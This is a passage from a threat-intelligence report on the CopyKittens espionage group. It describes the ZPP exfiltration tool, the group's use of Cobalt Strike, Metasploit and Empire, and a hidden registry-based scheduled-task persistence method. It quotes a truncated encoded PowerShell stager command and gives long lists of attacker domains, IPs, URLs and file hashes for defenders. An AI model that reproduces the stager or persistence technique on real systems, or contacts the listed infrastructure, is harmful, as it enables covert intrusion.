ad09feb76709b825569d9c263dfdaaac is a previous version (compilation timestamp: Sat, 09 Jan 2016 17:02:38 UTC) and is only different in that it accepts the e switch, which ignored by the program logic.
214be584ff88fb9c44676c1d3afd7c95 is the newest version (compilation timestamp: Mon, 26 Sep 2016 19:49:34 UTC).
It is supposed to implement the s switch but although it is set when the user gives it to the program, the switch is ignored by the code.
ZPP version 2.0 ZPP seems to be under development.
All versions have bugs.
It uses the reduced version of DotNetZip library.
39 Therefore, it requires Ionic.
Zip.Reduced.dll (7c359500407dd393a276010ab778d5af) to be under the same directory or PATH.
Function doCompressInNetWorkDirectory() is intended to exfiltrate date from a target machine to a network share.
39 https://dotnetzip.codeplex.com https://dotnetzip.codeplex.com/ https://dotnetzip.codeplex.com/ Page 36 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 ZPP doCompressInNetWorkDirectory() function Passing it a network location will result in the compressed files being dropped in it: Passing a network location to ZPP Indicators of Compromise File name: zpp.exe md5: bcae706c00e07936fc41ac47d671fc40 ad09feb76709b825569d9c263dfdaaac 214be584ff88fb9c44676c1d3afd7c95 Cobalt Strike Cobalt Strike is a publicly available commercial software for Adversary Simulations and Red Team Operations.40 While not malicious in and of itself, it is often used by cybercrime groups and state-sponsored threat groups, due to its post-exploitation and covert communication capabilities.
41 4243 44 CopyKittens use the free 21-day trial version of Cobalt Strike.
Thus, malicious communication generated by the tool is much easier to detect, because a special header is sent in each HTTP GET transaction.
The special header is X-Malware, i.e.
there is a literal indication that this network communication is malicious.
All that 40 https://www.cobaltstrike.com 41 https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html 42 https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks 43 https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the- oceanlotus-group/ 44 http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ON- CHINAS-GOVERNMENT-AGENCY-.pdf https://www.cobaltstrike.com/ https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/ https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/ https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/ http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ON-CHINAS-GOVERNMENT-AGENCY-.pdf http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ON-CHINAS-GOVERNMENT-AGENCY-.pdf http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ON-CHINAS-GOVERNMENT-AGENCY-.pdf Page 37 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 defender need to do to detect infections is to look for this header in network traffic.
Other tells are implemented in the trail version.45 CopyKittens often use Cobalt Strikes DNS based command and control capability.46 Other capabilities include PowerShell scripts execution, keystrokes logging, taking screenshots, file downloads, spawning other payloads, and peer-to-peer communication over the SMB.
Persistency The attackers used a novel way for persistency of Cobalt Strike samples in certain machine a scheduled task was written directly to the registry.
The malware creates a PowerShell wrapper, which executes powershell.exe to run scripts.
The wrapper is copied to windir with one of the following names: svchost.exe csrss.exe notpad.exe (note missing e) conhost.exe The scheduled tasks are saved in the following registry path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks With the following attributes: Path\\Microsoft\\Windows\\Media Center\\ConfigureLocalTimeService DescriptionMedia Center Time Update From Computer Local Time.
Actionshex:01,00,66,66,00,00,00,00,2c,00,00,00,43,00,3a,00,5c,00,57,00,69,\ 00,6e,00,64,00,6f,00,77,00,73,00,5c,00,73,00,76,00,63,00,68,00,6f,00,73,00,\ 74,00,2e,00,65,00,78,00,65,00,7e,31,00,00,2d,00,6e,00,6f,00,70,00,20,00,2d,\ 00,77,00,20,00,68,00,69,00,64,00,64,00,65,00,6e,00,20,00,2d,00,65,00,6e,00,\ 63,00,6f,00,64,00,65,00,64,00,63,00,6f,00,6d,00,6d,00,61,00,6e,00,64,00,20,\ 00,4a,00,41,00,42,00,7a,00,41,00,44,00,30,00,41,00,54,00,67,00,42,00,6c,00,\ [] The hex code in the Actions attribute is converted into the following command line action: C:\Windows\svchost.exe -nop -w hidden -encodedcommand JABzAD0ATgBl[] The executed command is a base64 encoded PowerShell cobalt strike stager.
The task does not have a name attribute and it does not appear in windows scheduled task viewers.
The installation methods of this persistency method is unknown to us.
Metasploit A well-known free and open source framework for developing and executing exploit code against a remote target machine.47 It has more than 1,610 exploits, as well as more than 438 payloads, which include command shell that enables users to run collection scripts or arbitrary commands against the host.
Meterpreter, which enables users to control the screen of a device using VNC and to browse, upload and download files.
It also employs dynamic payloads that enables users to evade antivirus defenses by generating unique payloads.48 45 https://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/ 46 https://www.cobaltstrike.com/help-dns-beacon 47 https://www.metasploit.com 48 https://en.wikipedia.org/wiki/Metasploit_Project https://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/ https://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/ https://www.cobaltstrike.com/help-dns-beacon https://www.cobaltstrike.com/help-dns-beacon https://www.metasploit.com/ https://www.metasploit.com/ https://en.wikipedia.org/wiki/Metasploit_Project https://en.wikipedia.org/wiki/Metasploit_Project Page 38 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Empire Post-exploitation Framework In several occasions the attackers used Empire, a free and open source post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent.49 The framework offers cryptologically-secure communications and a flexible architecture.
On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post- exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.
49 https://github.com/EmpireProject/Empire https://github.com/EmpireProject/Empire https://github.com/EmpireProject/Empire Page 39 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Indicators of Compromise Detection name BKDR_COBEACON.A Detection name TROJ_POWPICK.A Detection name HKTL_PASSDUMP Detection name TROJ_SODREVR.A Detection name TROJ_POWSHELL.C Detection name BKDR_CONBEA.A Detection name TSPY64_REKOTIB.A Detection name HKTL_DIRZIP Detection name TROJ_WAPPOME.A URL http://js[.]jguery[.]net/main[.
]js URL http://pht[.]is[.]nlb-deploy[.]edge-dyn[.]e11[.]f20[.]ads-youtube[.]online/winini[.
]exe URL http://38[.]130[.]75[.]20/check[.
]html URL http://update[.]microsoft-office[.]solutions/license[.
]doc URL http://update[.]microsoft-office[.]solutions/error[.
]html URL http://main[.]windowskernel14[.]com/spl/update5x[.
]zip URL http://img[.
]twiter- statics[.
]info/i/658A6D6AE42A658A6D6AE42A/0de9c5c6599fdf5201599ff9b30e0000/6E24E58CF C94/icon[.
]png URL http://files0[.]terendmicro[.
]com/ URL http://ssl[.]pmo[.]gov[.]il-dana-naauthurl1-welcome[.]cgi[.
]primeminister-goverment- techcenter[.]tech/D7A1D7A7D7A820D7A9D7A0D7AAD799[.
]docx URL http://ea-in-f155[.]1e100[.]microsoft-security[.
]host/ URL https://ea-in-f155[.]1e100[.]microsoft-security[.
]host/mTQJ URL http://iba[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://doa[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://fda[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://rqa[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://qqa[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://api[.]02ac36110[.]49318[.]a[.]gtld-servers[.
]zone URL s1w-amazonaws.office-msupdate[.
]solutions URL a104-93-82-25.mandalasanati[.
]info/iBpa URL http://fetchnews-agency[.
]news-bbc.press/pictures.html URL http://fetchnews-agency.news-bbc.press/omnews.doc URL http://fetchnews-agency[.
]news-bbc.press/en/20170/pictures.doc SSLCertificate fa3d5d670dc1d153b999c3aec7b1d815cc33c4dc SSLCertificate b11aa089879cd7d4503285fa8623ec237a317aee SSLCertificate 07317545c8d6fc9beedd3dd695ba79dd3818b941 SSLCertificate 3c0ecb46d65dd57c33df5f6547f8fffb3e15722d SSLCertificate 1c43ed17acc07680924f2ec476d281c8c5fd6b4a SSLCertificate 8968f439ef26f3fcded4387a67ea5f56ce24a003 IPv4Address 206.221.181.253 IPv4Address 66.55.152.164 IPv4Address 68.232.180.122 IPv4Address 173.244.173.11 IPv4Address 173.244.173.12 IPv4Address 173.244.173.13 IPv4Address 209.190.20.149 IPv4Address 209.190.20.59 IPv4Address 209.190.20.62 IPv4Address 209.51.199.116 IPv4Address 38.130.75.20 http://js[.]jguery[.
]net/main5b.5djs Page 40 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 IPv4Address 185.92.73.194 IPv4Address 144.168.45.126 IPv4Address 198.55.107.164 IPv4Address 104.200.128.126 IPv4Address 104.200.128.161 IPv4Address 104.200.128.173 IPv4Address 104.200.128.183 IPv4Address 104.200.128.184 IPv4Address 104.200.128.185 IPv4Address 104.200.128.187 IPv4Address 104.200.128.195 IPv4Address 104.200.128.196 IPv4Address 104.200.128.198 IPv4Address 104.200.128.205 IPv4Address 104.200.128.206 IPv4Address 104.200.128.208 IPv4Address 104.200.128.209 IPv4Address 104.200.128.48 IPv4Address 104.200.128.58 IPv4Address 104.200.128.64 IPv4Address 104.200.128.71 IPv4Address 107.181.160.138 IPv4Address 107.181.160.178 IPv4Address 107.181.160.194 IPv4Address 107.181.160.195 IPv4Address 107.181.161.141 IPv4Address 107.181.174.21 IPv4Address 107.181.174.228 IPv4Address 107.181.174.232 IPv4Address 107.181.174.241 IPv4Address 188.120.224.198 IPv4Address 188.120.228.172 IPv4Address 188.120.242.93 IPv4Address 188.120.243.11 IPv4Address 188.120.247.151 IPv4Address 62.109.2.52 IPv4Address 188.120.232.157 IPv4Address 185.118.65.230 IPv4Address 185.118.66.114 IPv4Address 141.105.67.58 IPv4Address 141.105.68.25 IPv4Address 141.105.68.26 IPv4Address 141.105.68.29 IPv4Address 141.105.69.69 IPv4Address 141.105.69.70 IPv4Address 141.105.69.77 IPv4Address 31.192.105.16 IPv4Address 31.192.105.17 IPv4Address 31.192.105.28 IPv4Address 146.0.73.109 IPv4Address 146.0.73.110 IPv4Address 146.0.73.111 IPv4Address 146.0.73.112 IPv4Address 146.0.73.114 Page 41 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 IPv4Address 217.12.201.240 IPv4Address 217.12.218.242 IPv4Address 5.34.180.252 IPv4Address 5.34.181.13 IPv4Address 86.105.18.5 IPv4Address 93.190.138.137 IPv4Address 212.199.61.51 IPv4Address 80.179.42.37 IPv4Address 80.179.42.44 IPv4Address 176.31.18.29 IPv4Address 188.165.69.39 IPv4Address 51.254.76.54 IPv4Address 158.69.150.163 IPv4Address 192.99.242.212 IPv4Address 198.50.214.62 Hash a60a32f21ac1a2ec33135a650aa8dc71 Hash 94ba33696cd6ffd6335948a752ec9c19 Hash bcae706c00e07936fc41ac47d671fc40 Hash 1ca03f92f71d5ecb5dbf71b14d48495c Hash 506415ef517b4b1f7679b3664ad399e1 Hash 1ca03f92f71d5ecb5dbf71b14d48495c Hash bd38cab32b3b8b64e5d5d3df36f7c55a Hash ac29659dc10b2811372c83675ff57d23 Hash 41466bbb49dd35f9aa3002e546da65eb Hash 8f6f7416cfdf8d500d6c3dcb33c4f4c9e1cd33998c957fea77fbd50471faec88 Hash 02f2c896287bc6a71275e8ebe311630557800081862a56a3c22c143f2f3142bd Hash 2df6fe9812796605d4696773c91ad84c4c315df7df9cf78bee5864822b1074c9 Hash 55f513d0d8e1fd41b1417a0eb2afff3a039a9529571196dd7882d1251ab1f9bc Hash da529e0b81625828d52cd70efba50794 Hash 1f9910cafe0e5f39887b2d5ab4df0d10 Hash 0feb0b50b99f0b303a5081ffb3c4446d Hash 577577d6df1833629bfd0d612e3dbb05 Hash 165f8db9c6e2ca79260b159b4618a496e1ed6730d800798d51d38f07b3653952 Hash 1f867be812087722010f12028beeaf376043e5d7 Hash b571c8e0e3768a12794eaf0ce24e6697 Hash e319f3fb40957a5ff13695306dd9de25 Hash acf24620e544f79e55fd8ae6022e040257b60b33cf474c37f2877c39fbf2308a Hash 8c8496390c3ad048f2a0a4031edfcdac819ee840d32951b9a1a9337a2dcbea25 Hash c5a02e984ca3d5ac13cf946d2ba68364 Hash efca6664ad6d29d2df5aaecf99024892 Hash bff115d5fb4fd8a395d158fb18175d1d183c8869d54624c706ee48a1180b2361 Hash afa563221aac89f96c383f9f9f4ef81d82c69419f124a80b7f4a8c437d83ce77 Hash 4a3d93c0a74aaabeb801593741587a02 Hash 64c9acc611ef47486ea756aca8e1b3b7 Hash fb775e900872e01f65e606b722719594 Hash cf8502b8b67d11fbb0c75ebcf741db15 Hash 4999967c94a2fb1fa8122f1eea7a0e02 Hash 5fe0e156a308b48fb2f9577ed3e3b09768976fdd99f6b2d2db5658b138676902 Hash 37449ddfc120c08e0c0d41561db79e8cbbb97238 Hash 4442c48dd314a04ba4df046dfe43c9ea1d229ef8814e4d3195afa9624682d763 Hash 7651f0d886e1c1054eb716352468ec6aedab06ed61e1eebd02bca4efbb974fb6 Hash eb01202563dc0a1a3b39852ccda012acfe0b6f4d Hash 7e3c9323be2898d92666df33eb6e73a46c28e8e34630a2bd1db96aeb39586aeb Hash 9e5ab438deb327e26266c27891b3573c302113b8d239abc7f9aaa7eff9c4f7bb Page 42 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Hash 6a19624d80a54c4931490562b94775b74724f200 Hash 32860b0184676509241bbaf9233068d472472c3d9c93570fc072e1acea97a1d4 Hash b34721e53599286a1093c90a9dd0b789 Hash 7ad65e39b79ad56c02a90dfab8090392ec5ffed10a8e276b86ec9b1f2524ad31 Hash 59c448abaa6cd20ce7af33d6c0ae27e4a853d2bd Hash fb775e900872e01f65e606b722719594 Hash 871efc9ecd8a446a7aa06351604a9bf4 Hash cf8502b8b67d11fbb0c75ebcf741db15 Hash a4dd1c225292014e65edb83f2684f2d5 Hash 838fb8d181d52e9b9d212b49f4350739 Hash e37418ba399a095066845e7829267efe Hash 1072b82f53fdd9fa944685c7e498eece89b6b4240073f654495ac76e303e65c9 Hash 752240cddda5acb5e8d026cef82e2b54 Hash 435a93978fa50f55a64c788002da58a5 Hash 3de91d07ac762b193d5b67dd5138381a Hash a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37 Hash aba7771c42aea8048e4067809c786b0105e9dfaa Hash b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d3815dd Hash 3676914af9fd575deb9901a8b625f032 Hash f1607a5b918345f89e3c2887c6dafc05c5832593 Hash 341c920ec47efa4fd1bfcd1859a7fb98945f9d85 Hash 8b702ba2b2bd65c3ad47117515f0669c Hash 6ea02f1f13cc39d953e5a3ebcdcfd882 Hash 8f77a9cc2ad32af6fb1865fdff82ad89 Hash 62f8f45c5f10647af0040f965a3ea96d Hash d9aa197ca2f01a66df248c7a8b582c40 Hash 217b1c2760bcf4838f5e3efb980064d7 Hash cfb4be91d8546203ae602c0284126408 Hash 16a711a8fa5a40ee787e41c2c65faf9a78b195307ac069c5e13ba18bce243d01 Hash 5e65373a7c6abca7e3f75ce74c6e8143 Hash d3b9da7c8c54f7f1ea6433ac34b120a1 Hash 32261fe44c368724593fbf65d47fc826 Hash d2c117d18cb05140373713859803a0d6 Hash 113ca319e85778b62145019359380a08 Hash 4999967c94a2fb1fa8122f1eea7a0e02 Hash 9846b07bf7265161573392d24543940e Hash bf23ce4ae7d5c774b1fa6becd6864b3b Hash 720203904c9eaf45ff767425a8c518cd Hash 62652f074924bb961d74099bc7b95731 Hash 1fba1876c88203a2ae6a59ce0b5da2a1 Hash cf8502b8b67d11fbb0c75ebcf741db15 Hash fb775e900872e01f65e606b722719594 Hash 73f14f320facbdd29ae6f0628fa6f198dc86ba3428b3eddbfc39cf36224cebb9 Hash 3d2885edf1f70ce4eb1e9519f47a669f Filename config.exe Filename Strike.doc Filename malware.doc Filename PDFOPENER_CONSOLE.exe Filename Ma_1.tmp Filename Wextract Filename The20United20Nations20Counter.doc.docx Filename netsrvs.exe Filename Date.dotm Filename ssl.docx Page 43 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Filename o040t.exe Filename m8f7s.exe Filename d5tjo.exe Filename LogManager.tmp Filename edg1CF5.tmp Filename ntuser.swp Filename svchost64.swp Filename ntuser.dat.swp Filename 455aa96e-804g-4bcf-bcf8-f400b3a9cfe9.PackageExtraction Filename Svchost32.swp Filename Svchost64.swp Filename update5x.dll Filename 22092014_ver621.dll Filename netsrv.exe Filename netsrva.exe Filename netsrvd.exe Filename netsrvs.exe Filename vminst.tmp Filename tdtess.exe Filename test_oracle.xls Filename ur96r.exe Filename The North Korean weapons program now testing USA range.docx Filename F123321.exe Domain wethearservice[.
]com Domain mywindows24[.
]in Domain microsoft-office[.
]solutions Domain code[.]jguery[.
]net Domain 1m100[.
]tech Domain cloudflare-statics[.
]com Domain cachevideo[.
]com Domain winfeedback[.
]net Domain terendmicro[.
]com Domain alkamaihd[.
]com Domain msv-updates[.]gsvr-static[.
]co Domain fbstatic-a[.
]space Domain broadcast-microsoft[.
]tech Domain sharepoint-microsoft[.
]co Domain newsfeeds-microsoft[.
]press Domain owa-microsoft[.
]online Domain digicert[.
]online Domain cloudflare-analyse[.
]com Domain israelnewsagency[.
]link Domain akamaitechnology[.
]tech Domain winupdate64[.
]org Domain ads-youtube[.
]net Domain cortana-search[.
]com Domain nsserver[.
]host Domain nameserver[.
]win Domain symcd[.
]xyz Domain fdgdsg[.
]xyz Domain dnsserv[.
]host Domain winupdate64[.
]com Domain ssl-gstatic[.
]online Domain updatedrivers[.
]org Page 44 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain alkamaihd[.
]net Domain update[.]microsoft-office[.
]solutions Domain javaupdate[.
]co Domain outlook360[.
]org Domain winupdate64[.
]net Domain trendmicro[.
]tech Domain qoldenlines[.
]net Domain windefender[.
]org Domain 1e100[.
]tech Domain chromeupdates[.
]online Domain ads-youtube[.
]online Domain akamaitechnology[.
]com Domain cloudmicrosoft[.
]net Domain js[.]jguery[.
]online Domain azurewebsites[.
]tech Domain elasticbeanstalk[.
]tech Domain jguery[.
]online Domain microsoft-security[.
]host Domain microsoft-ds[.
]com Domain jguery[.
]net Domain primeminister-goverment-techcenter[.
]tech Domain officeapps-live[.
]com Domain microsoft-tool[.
]com Domain cissco[.
]net Domain js[.]jguery[.
]net Domain f-tqn[.
]com Domain javaupdator[.
]com Domain officeapps-live[.
]net Domain ipresolver[.
]org Domain intelchip[.
]org Domain outlook360[.
]net Domain windowkernel[.
]com Domain wheatherserviceapi[.
]info Domain windowslayer[.
]in Domain sdlc-esd-oracle[.
]online Domain mpmicrosoft[.
]com Domain officeapps-live[.
]org Domain cachevideo[.
]online Domain win-update[.
]com Domain labs-cloudfront[.
]com Domain windowskernel14[.
]com Domain fbstatic-akamaihd[.
]com Domain mcafee-analyzer[.
]com Domain cloud-analyzer[.
]com Domain fb-statics[.
]com Domain ynet[.
]link Domain twiter-statics[.
]info Domain diagnose[.]microsoft-office[.
]solutions Domain mswordupdate17[.
]com Domain gsvr-static[.
]co Domain news-bbc[.
]press Domain mandalasanati[.
]info Domain office-msupdate[.
]solutions Domain windows-updates[.
]solutions Page 45 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain akamai-net[.
]network Domain azureedge-net[.
]services Domain doucbleclick[.
]tech Domain windows-updates[.
]services Domain windows-updates[.
]network Domain cloudfront[.
]site Domain netcdn-cachefly[.
]network Domain akamaized[.
]online Domain cdninstagram[.
]center Domain googlusercontent[.
]center DNSName ea-in-f354[.]1e100[.]ads-youtube[.
]net DNSName ns1[.]ynet[.
]link DNSName ns2[.]ynet[.
]link DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]be-5-0-ibr01-lts-ntwk-msn[.]alkamaihd[.
]com DNSName pht[.]is[.]nlb-deploy[.]edge-dyn[.]e11[.]f20[.]ads-youtube[.
]online DNSName ns1[.]winfeedback[.
]net DNSName ns2[.]winfeedback[.
]net DNSName msupdate[.]diagnose[.]microsoft-office[.
]solutions DNSName www[.]alkamaihd[.
]net DNSName c20[.]jdk[.]cdn-external-ie[.]1e100[.]alkamaihd[.
]net DNSName ns2[.]img[.]twiter-statics[.
]info DNSName api[.]img[.]twiter-statics[.
]info DNSName ns1[.]img[.]twiter-statics[.
]info DNSName ns1[.]officeapps-live[.
]net DNSName ns1[.]wheatherserviceapi[.
]info DNSName ns2[.]microsoft-tool[.
]com DNSName ns2[.]f-tqn[.
]com DNSName carl[.]ns[.]cloudflare[.]com[.]sdlc-esd-oracle[.
]online DNSName ns1[.]cortana-search[.
]com DNSName 40[.]dc[.]c0ad[.]ip4[.]dyn[.]gsvr-static[.
]co DNSName 40[.]dc[.]c2ad[.]ip4[.]dyn[.]gsvr-static[.
]co DNSName ns2[.]winupdate64[.
]org DNSName ns1[.]f-tqn[.
]com DNSName ns2[.]cortana-search[.
]com DNSName ns1[.]symcd[.
]xyz DNSName ns2[.]symcd[.
]xyz DNSName ns1[.]winupdate64[.
]org DNSName ns1[.]microsoft-tool[.
]com DNSName ns2[.]officeapps-live[.
]com DNSName ns1[.]israelnewsagency[.
]link DNSName ns2[.]israelnewsagency[.
]link DNSName ns1[.]cissco[.
]net DNSName ns2[.]cissco[.
]net DNSName ns1[.]cachevideo[.
]online DNSName ns2[.]cachevideo[.
]online DNSName www[.]static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]www[.]alkamaihd[.
]com DNSName dhb[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.
]co DNSName main[.]windowskernel14[.
]com DNSName www[.]winupdate64[.
]net DNSName ae13-0-hk2-96cbe-1a-ntwk-msn[.]static[.]dyn-usr[.
]g-blc- se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com DNSName be-5-0-ibr01-lts-ntwk-msn[.]static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com Page 46 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]static[.]dyn-usr[.
]g-blc- se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com DNSName cyb[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.
]co DNSName ns1[.]winupdate64[.
]com DNSName ns1[.]twiter-statics[.
]info DNSName 40[.]dc[.]c0ad[.]ip4[.]dyn[.]gsvr-static[.
]co DNSName update[.]microsoft-office[.
]solutions DNSName wk-in-f104[.]1e100[.]n[.]microsoft[.]qoldenlines[.
]net DNSName ns1[.]fb-statics[.
]com DNSName ns2[.]fb-statics[.
]com DNSName is-cdn[.]edge[.]g18[.]dyn[.]usr-e12-as[.
]akamaitechnology DNSName img[.]gmailtagmanager[.
]com DNSName wk-in-f104[.]1c100[.]n[.]microsoft-security[.
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]host DNSName msnbot-sd7-46-img[.]microsoft-security[.
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]com DNSName msnbot-sd7-46-194[.]microsoft-security[.
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]host DNSName msnbot-207-46-194[.]microsoft-security[.
]host DNSName img[.]twiter-statics[.
]info DNSName msnbot-sd7-46-cdn[.]microsoft-security[.
]host DNSName ns2[.]wheatherserviceapi[.
]info DNSName ns1[.]windowkernel[.
]com DNSName ns2[.]windowkernel[.
]com DNSName ns2[.]fbstatic-a[.
]space DNSName ns1[.]fbstatic-a[.
]space DNSName api[.]TwitEr-Statics[.
]info DNSName ns2[.]mcafee-analyzer[.
]com DNSName 21666[.]mpmicrosoft[.
]com DNSName 22830[.]officeapps-live[.
]org DNSName 15236[.]mcafee-analyzer[.
]com DNSName ns2[.]static[.]dyn-usr[.]gsrv02[.]ssl-gstatic[.
]online DNSName ns1[.]mcafee-analyzer[.
]com DNSName ns1[.]fbstatic-akamaihd[.
]com DNSName ns1[.]static[.]dyn-usr[.]gsrv01[.]ssl-gstatic[.
]online DNSName ns2[.]officeapps-live[.
]org DNSName wk-in-f104[.]1e100[.]n[.]microsoft-security[.
]host DNSName ns1[.]mpmicrosoft[.
]com DNSName www[.]microsoft-security[.
]host DNSName ns2[.]fbstatic-akamaihd[.
]com DNSName ns1[.]cachevideo[.
]online DNSName wk-in-f100[.]1e100[.]n[.]microsoft-security[.
]host DNSName ns1[.]officeapps-live[.
]org DNSName ns2[.]mpmicrosoft[.
]com DNSName ns02[.]nsserver[.
]host DNSName ns2[.]cachevideo[.
]online DNSName be-5-0-ibr01-lts-ntwk-msn[.]alkamaihd[.
]com DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com DNSName www[.]alkamaihd[.
]com DNSName ae13-0-hk2-96cbe-1a-ntwk-msn[.]alkamaihd[.
]com DNSName ns2[.]microsoft-ds[.
]com DNSName adcenter[.]microsoft-ds[.
]com DNSName ns1[.]microsoft-ds[.
]com DNSName ns1[.]mswordupdate17[.
]com Page 47 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 DNSName ns2[.]mswordupdate17[.
]com DNSName c[.]mswordupdate17[.
]com DNSName ns1[.]cloudflare-analyse[.
]com DNSName static[.]dyn-usr[.]f-loginme[.]c19[.]a23[.]akamaitechnology[.
]com DNSName ns2[.]cloudflare-analyse[.
]com DNSName ns1[.]cloud-analyzer[.
]com DNSName ns2[.]cloud-analyzer[.
]com DNSName ns01[.]nsserver[.
]host DNSName ns1[.]fb-statics[.
]com DNSName ns02[.]dnsserv[.
]host DNSName 15236[.]cachevideo[.
]online DNSName ns2[.]fb-statics[.
]com DNSName ns2[.]twiter-statics[.
]info DNSName ea-in-f113[.]1e100[.]microsoft-security[.
]host DNSName static[.]dyn-usr[.]f-login-me[.]c19[.]a[.]akamaitechnology[.
]tech DNSName ea-in-f155[.]1e100[.]microsoft-security[.
]host DNSName float[.]2963[.]bm-imp[.]akamaitechnology[.
]tech DNSName ns1[.]mcafee-analyzer[.
]com DNSName ns2[.]mcafee-analyzer[.
]com DNSName ns1[.]mpmicrosoft[.
]com DNSName ns2[.]mpmicrosoft[.
]com DNSName jpsrv-java-jdkec1[.]javaupdate[.
]co DNSName microsoft-active[.]directory_update-change-policy[.]primeminister-goverment-techcenter[.
]tech DNSName jpsrv-java-jdkec3[.]javaupdate[.
]co DNSName nameserver02[.]javaupdate[.
]co DNSName jpsrv-java-jdkec2[.]javaupdate[.
]co DNSName static[.]dyn-usr[.]f-login-me[.]c19[.]a23[.]akamaitechnology[.
]com DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]alkamaihd[.
]net DNSName ssl[.]pmo[.]gov[.]il-dana-naauthurl1-welcome[.]cgi[.]primeminister-goverment-techcenter[.
]tech DNSName ns1[.]static[.]dyn-usr[.]gsrv01[.
]ssl- gstatic[.
]online DNSName ns2[.]static[.]dyn-usr[.]gsrv02[.
]ssl- gstatic[.
]online DNSName static[.]primeminister-goverment-techcenter[.
]tech DNSName ns1[.]outlook360[.
]org DNSName d45[.]a63[.]alkamaihd[.
]net DNSName ns1[.]officeapps-live[.
]org DNSName ns2[.]outlook360[.
]org DNSName ns2[.]officeapps-live[.
]org DNSName ns2[.]win-update[.
]com DNSName aaa[.]stage[.]14043411[.]email[.]sharepoint-microsoft[.
]co DNSName ns1[.]updatedrivers[.
]org DNSName a17-h16[.]g11[.]iad17[.]as[.]pht-external[.]c15[.]qoldenlines[.
]net DNSName ns1[.]windefender[.
]org DNSName is-cdn[.]edge[.]g18[.]dyn[.]usr-e12-as[.]akamaitechnology[.
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]com DNSName 11716[.]cachevideo[.
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]org Page 48 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 DNSName ns2[.]cachevideo[.
]com DNSName 7737[.]cloudflare-statics[.
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]online DNSName ns1[.]cloudflare-statics[.
]com DNSName 24984[.]cachevideo[.
]com DNSName ns1[.]digicert[.
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]net DNSName ns01[.]nameserver[.
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]org DNSName TATIC[.]DYN-USR[.]GSRV01[.]SSL-GSTATIC[.
]ONLINe DNSName STATIC[.]DYN-USR[.]GSRV01[.]SSL-GSTATIC[.
]online DNSName ns1[.]labs-cloudfront[.
]com DNSName ns2[.]labs-cloudfront[.
]com DNSName www[.]broadcast-microsoft[.
]tech DNSName www[.]newsfeeds-microsoft[.
]press DNSName www[.]owa-microsoft[.
]online DNSName static[.]c20[.]jdk[.]cdn-external-ie[.]1e100[.
]tech DNSName ns1[.]cloud-analyzer[.
]com DNSName ns2[.]cloud-analyzer[.
]com DNSName ns2[.]cloudflare-statics[.
]com DNSName ns1[.]cachevideo[.
]com DNSName ns1[.]outlook360[.
]net DNSName 3012[.]digicert[.
]online DNSName 24984[.]cloudflare-statics[.
]com DNSName 7737[.]cachevideo[.
